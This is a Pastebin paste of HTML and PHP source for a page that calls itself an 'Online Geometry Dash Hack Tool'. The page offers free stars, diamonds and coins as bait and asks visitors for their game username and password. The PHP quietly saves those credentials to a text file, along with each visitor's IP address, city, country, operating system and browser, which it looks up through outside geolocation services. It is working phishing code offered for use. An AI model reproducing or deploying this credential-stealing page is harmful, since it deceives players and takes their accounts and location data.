Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <div id="center">
- <h1>Online Geometry Dash Hack Tool</h1>
- <br>
- <br>
- <br>
- <br>
- <br>
- <br>
- <h2>Simply Type In The Amounts You Want In The Boxes!</h2>
- <img src="http://i.imgur.com/CZNVtnw.png" width="600"</img>
- <input id="stars"></input>
- <input id="diamonds"></input>
- <input id="scoins"></input>
- <input id="coins"></input>
- <input id="demons"></input>
- <br>
- <br>
- <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
- <h3>Username:</h3>
- <input name="username" id="user"></input>
- <br>
- <br>
- <h3>Password:</h3>
- <input name="password" id="pass"></input>
- <br>
- <br>
- <input type="submit" name="submit" onclick="submit2()">
- </form>
- </div>
- <style>
- #center {
- text-align: center;
- }
- #stars {
- position: absolute;
- top: 255;
- left: 385;
- width: 90;
- }
- #diamonds {
- position: absolute;
- top: 255;
- left: 515;
- width: 90;
- }
- #scoins {
- position: absolute;
- top: 255;
- left: 645;
- width: 60;
- }
- #coins {
- position: absolute;
- top: 255;
- left: 745;
- width: 90;
- }
- #demons {
- position: absolute;
- top: 255;
- left: 875;
- width: 65;
- }
- </style>
- <?php
- $user_ip = getenv('REMOTE_ADDR');
- $geo = unserialize(file_get_contents("http://www.geoplugin.net/php.gp?ip=$user_ip"));
- $country = $geo["geoplugin_countryName"];
- $city = $geo["geoplugin_city"];
- $location = file_get_contents('http://freegeoip.net/json/'.$_SERVER['REMOTE_ADDR']);
- $myfile = fopen("onlinetool.txt", "w") or die("Unable to open file!");
- $user_agent = $_SERVER['HTTP_USER_AGENT'];
- function getOS() {
- global $user_agent;
- $os_platform = "Windows 10";
- $os_array = array(
- '/windows nt 6.2/i' => 'Windows 8',
- '/windows nt 6.1/i' => 'Windows 7',
- '/windows nt 6.0/i' => 'Windows Vista',
- '/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
- '/windows nt 5.1/i' => 'Windows XP',
- '/windows xp/i' => 'Windows XP',
- '/windows nt 5.0/i' => 'Windows 2000',
- '/windows me/i' => 'Windows ME',
- '/win98/i' => 'Windows 98',
- '/win95/i' => 'Windows 95',
- '/win16/i' => 'Windows 3.11',
- '/macintosh|mac os x/i' => 'Mac OS X',
- '/mac_powerpc/i' => 'Mac OS 9',
- '/linux/i' => 'Linux',
- '/ubuntu/i' => 'Ubuntu',
- '/iphone/i' => 'iPhone',
- '/ipod/i' => 'iPod',
- '/ipad/i' => 'iPad',
- '/android/i' => 'Android',
- '/blackberry/i' => 'BlackBerry',
- '/webos/i' => 'Mobile'
- );
- foreach ($os_array as $regex => $value) {
- if (preg_match($regex, $user_agent)) {
- $os_platform = $value;
- }
- }
- return $os_platform;
- }
- function getBrowser() {
- global $user_agent;
- $browser = "Unknown Browser";
- $browser_array = array(
- '/msie/i' => 'Internet Explorer',
- '/firefox/i' => 'Firefox',
- '/safari/i' => 'Safari',
- '/chrome/i' => 'Chrome',
- '/opera/i' => 'Opera',
- '/netscape/i' => 'Netscape',
- '/maxthon/i' => 'Maxthon',
- '/konqueror/i' => 'Konqueror',
- '/mobile/i' => 'Handheld Browser'
- );
- foreach ($browser_array as $regex => $value) {
- if (preg_match($regex, $user_agent)) {
- $browser = $value;
- }
- }
- return $browser;
- }
- $user_os = getOS();
- $user_browser = getBrowser();
- fwrite($myfile, $user_ip . "\n");
- fwrite($myfile, $country . "\n");
- fwrite($myfile, $city . "\n");
- fwrite($myfile, $location . "\n");
- fwrite($myfile, $user_os . "\n");
- fwrite($myfile, $user_browser . "\n");
- fwrite($myfile, "\n");
- fwrite($myfile, "\n");
- fclose($myfile);
- if(isset($_POST['submit'])) /* i.e. the PHP code is executed only when someone presses Submit button in the below given HTML Form */
- {
- $username = $_POST['username'];
- $password = $_POST['password'];
- $user_ip = getenv('REMOTE_ADDR');
- $geo = unserialize(file_get_contents("http://www.geoplugin.net/php.gp?ip=$user_ip"));
- $country = $geo["geoplugin_countryName"];
- $city = $geo["geoplugin_city"];
- $location = file_get_contents('http://freegeoip.net/json/'.$_SERVER['REMOTE_ADDR']);
- $myfile = fopen("onlinetool.txt", "w") or die("Unable to open file!");
- fwrite($myfile, $username . "\n");
- fwrite($myfile, $password . "\n");
- fwrite($myfile, $user_ip . "\n");
- fwrite($myfile, $country . "\n");
- fwrite($myfile, $city . "\n");
- fwrite($myfile, $location . "\n");
- fclose($myfile);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement